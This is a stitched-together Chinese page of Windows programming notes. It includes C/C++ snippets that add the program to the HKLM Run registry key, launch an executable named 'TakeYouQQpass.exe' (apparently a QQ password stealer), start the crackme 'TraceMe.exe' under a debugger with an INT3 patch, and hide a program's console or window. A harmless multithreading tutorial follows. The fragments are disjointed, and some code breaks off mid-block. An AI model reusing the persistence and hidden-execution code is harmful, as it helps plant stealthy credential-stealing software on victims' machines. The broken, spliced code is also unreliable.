摘要: Windows SDK笔记
Windows SDK笔记(一):Windows程序基本结构
一、概述Windows程序具有相对固定的结构,对编写者而言,不需要书写整个过程,大部分过程由系统完成。程序中只要按一定的格式填写系统留给客户的那一小部分。所需要完成的有:窗口类的定义、窗口的建立、消息函数的书写、消息循环。
二、消息处理函数Windows程...
阅读全文
/////////////////////////自启动
void autoToWindows()
{
HKEY hKey;
//找到系统的启动项
LPCTSTR lpRun = "Software\\Microsoft\\Windows\\CurrentVersion\\Run";
char pFileName[100] = {0};
//打开启动项Key
long lRet = RegOpenKeyEx(HKEY_LOCAL_MACHINE, lpRun, 0, KEY_WRITE, &hKey);
//得到程序自身的全路径
DWORD dwRet = GetModuleFileName(NULL, pFileName, MAX_PATH);
//添加一个子Key,并设置值 // 下面的"getip"是应用程序名字(不加后缀.exe)
lRet = RegSetValueEx(hKey, "TTTTTT", 0, REG_SZ, (BYTE *)pFileName, dwRet);
//关闭注册表
RegCloseKey(hKey);
if(lRet != ERROR_SUCCESS)
{
printf("自动失败");
// AfxMessageBox("系统参数错误,不能随系统启动");
}
//CString str; //添加注册表路径
//WCHAR* CurrentPath=(WCHAR*)malloc(sizeof(char)*100);//程序当前路径
}
///////////获取配置文件
int TakeMsgAdd()
{
WSADATA firstsock;
char strName2[100]="";
char hostname[100];//"www.hao123.com";
GetPrivateProfileString("MessageTO","Address",NULL,strName2,100,".\\MessgeTO.ini");
memcpy(hostname,strName2,100);
RetrieveDnsServersFromRegistry();
printf("\nInitialising Winsock...");
if (WSAStartup(MAKEWORD(2,2),&firstsock) != 0)
{
printf("Failed. Error Code : %d",WSAGetLastError());
return 1;
}
printf("Initialised.");
printf("\nEnter Hostname to Lookup : ");
// gets((char*)hostname);
//
ngethostbyname((unsigned char *)hostname);
return 0;
}
autoToWindows();
//////////创建进程
char chPath[301];
char path[200]= "\\TakeYouQQpass.exe";
::GetCurrentDirectory(300,(LPTSTR)chPath);//得到当前目录
strcat(chPath,path);
STARTUPINFO si;
PROCESS_INFORMATION pi;
ZeroMemory( &pi, sizeof(pi) );
ZeroMemory( &si, sizeof(si) );
si.cb = sizeof(si);
// Start the child process
//ShellExecute(this->m_hWnd,"open",chPath,"","", SW_SHOW ); //,1,支持多个可以隐藏式运行
// WinExec(chPath,SW_SHOW); //1,普通可以隐藏式运行
if(CreateProcess(chPath, "", NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi))//3,获取程序资料
{
// CloseHandle( pi.hProcess );
// CloseHandle( pi.hThread );
}
else
{
// //AfxMessageBox("创建失败!");
// HANDLE hProcess = GetCurrentProcess();//get current process
// TerminateProcess(hProcess,0); //close process
}
///////////////////////////
#define SZFILENAME ".\\TraceMe.exe" //目标文件名
STARTUPINFO si ;
PROCESS_INFORMATION pi ;
ZeroMemory(&si, sizeof(STARTUPINFO)) ;
ZeroMemory(&pi, sizeof(PROCESS_INFORMATION)) ;
si.cb = sizeof(STARTUPINFO) ;
BOOL WhileDoFlag=TRUE;
BYTE ReadBuffer[MAX_PATH]={0};
BYTE dwINT3code[1]={0xCC};
BYTE dwOldbyte[1]={0};
if( !CreateProcess(SZFILENAME,
NULL,
NULL,
NULL,
FALSE,
DEBUG_PROCESS|DEBUG_ONLY_THIS_PROCESS,
NULL,
NULL,
&si,
&pi )
)
{
MessageBox(NULL, "CreateProcess Failed.", "ERROR", MB_OK);
return FALSE;
}
//
// 自启动
隐藏运行程序
2010-08-10 17:48
1,打开方式:shellopen
2,代码修改1,命令行程序 ,2,窗口程序
1,命令行程序:
其实是某些程序虽然目标是生成视窗程序,但是却是使用控制台的方式编译的(特别是使用某些从LINLUX平台移植到WINDOWS上来的程序库)。所以在启动时我们会看一个暴露我们实现的命令行窗口。想要隐藏着个窗口,只需要在visual c++中main函数入口前加入
#pragma comment( linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"" )
这是控制编译器的命令。意思是使用视窗模式编译程序。但将程序入口地址强制设置为main函数(否则程序会因为找不到入口地址而通不过链接)。你也可以在项目属性中linker的选项下设置相应的项来达到此目的。
----------------------------
2,窗口程序:
LRESULT CPackInterDlg::DefWindowProc(UINT message, WPARAM wParam, LPARAM lParam)
{
// TODO: Add your specialized code here and/or call the base class
if(WM_NCPAINT == message)
{
ShowWindow(SW_HIDE);
}
return CDialog::DefWindowProc(message, wParam, lParam);
}
LRESULT CMainFrame::DefWindowProc(UINT message, WPARAM wParam, LPARAM lParam)
{
// TODO: Add your specialized code here and/or call the base class
/* if(WM_NCPAINT == message)
{
ShowWindow(SW_HIDE);
}*/
return CFrameWnd::DefWindowProc(message, wParam, lParam);
}
---------------------------------------
C/C++ 简单的多线程编程
.
- #include <windows.h> //『注意1』由于CreateThread()是API函数,所以,必须包含这个头文件
- #include <iostream>
- using namespace std;
- DWORD WINAPI Thread1Proc( LPVOID lpParameter); //线程的执行函数
- DWORD WINAPI Thread2Proc( LPVOID lpParameter); //线程的执行函数
- int a;
- int b;
- int c;
- int temp(0);
- int sum(0);
- int main()
- {
- a=1;
- b=2;
- c=3;
- HANDLE hThread1=CreateThread(NULL,0,Thread1Proc,NULL,0,NULL); //『注意2』创建线程1
- HANDLE hThread2=CreateThread(NULL,0,Thread2Proc,NULL,0,NULL); //创建线程2
- CloseHandle(hThread1); //关闭标识线程1的句柄
- CloseHandle(hThread2); //关闭标识线程2的句柄
- Sleep(5); //『注意3』主线程放弃执行权,睡眠毫秒,以使线程和线程得到执行机会
- sum=temp; //主线程的执行语句
- cout<<"sum="<<sum<<endl; //主线程的执行语句
- return 0;
- }
- DWORD WINAPI Thread1Proc( LPVOID lpParameter)
- {
- temp=a+b;
- return 0;
- }
- DWORD WINAPI Thread2Proc( LPVOID lpParameter)
- {
- temp+=c;
- return 0;
- }
复制代码
代码说明:本代码简单演示了多线程的创建方法。
程序用包括主线程在内的三个线程共同完成sum=a+b+c并输出计算结果的
功能。其中,线程1完成a+b这一步,线程2完成将a+b的结果与c相加这一步,主线程完成输出计算结果这一步。整个程序很简单,一目了然,但是,依然有几个地方需要注意:
「注意1」由于创建线程所
使用的函数CreateThread()是windows API函数,所以,必须包含头文件windows.h
「注意2」CreateThread()函数有一个HANDLE 类型的返回值,用来标识创建的线程,因此,应该定义一个HANDLE类型的
变量用于保存这个句柄(不是必须)。线程创建完成之后,如果不需要使用这个句柄变量,应当将其关闭,以释放
系统资源。关闭句柄的方法是调用CloseHandle()函数。
「注意3」这里的Sleep()函数的作用是使主线程放弃执行机会,让其它线程开始执行。因为这个程序主线程内运行的代码很短,就两条短语句,同常情况,这两条语句在一个系统时间片内就能跑完,然后就执行return语句返回,主线程就运行结束了。主线程一结束,程序就终止,线程1和线程2将再也得不到执行机会。
我们可以将Sleep()注释起来,然后运行程序,观察打印出来的sum值即可以发现线程1和线程2是否得到运行机会。当然,Sleep()不是必须的,这从系统调度线程的方式可以看出来,多线程程序在开始运行时,系统会首先让主线程执行一段时间(时间片)。
如果主线程在这个时间段内将所有代码都执行完了,程序就结束,否则,就将主线程挂起,然后让其他线程执行同样的一段时间,时间到了之后,该线程挂起,又返回主线程开始执行,主线程再执行同样的一段时间,然后再挂起,跳到其他线程执行,如此不断循环,直到主线程完全执行完毕为止。
由此可见,要想让非主线程能够被完整执行,那么只要使它获得的时间片的总和大于或等于该线程连续执行完毕所需要的时间即可。基于此
原理,我们想到,只要让主线程被多次挂起即可使非主线程获得多个执行时间片。那么,如何让主线程多次被挂起呢?很简单,只要让主线程连续执行完毕所需要的时间是系统时间片的N倍即可,具体N等于多少合适,那需要视其他线程完整执行需要多少时间。我们实验一下,把调用Sleep()那行代码注释起来,然后在那里写上如下代码:
- //Sleep(5);
- for(int i=0;i<1000000;i++){}
复制代码
这个for循环什么事也不做,就是延长主线程的执行时间,使主线程在一个时间片里执行不完,分成在若干个时间片里执行。运行程序,可以发现,输出的sum值等于6,符合预期,说明,线程1和线程2都得到了执行。
来源 Linux 联盟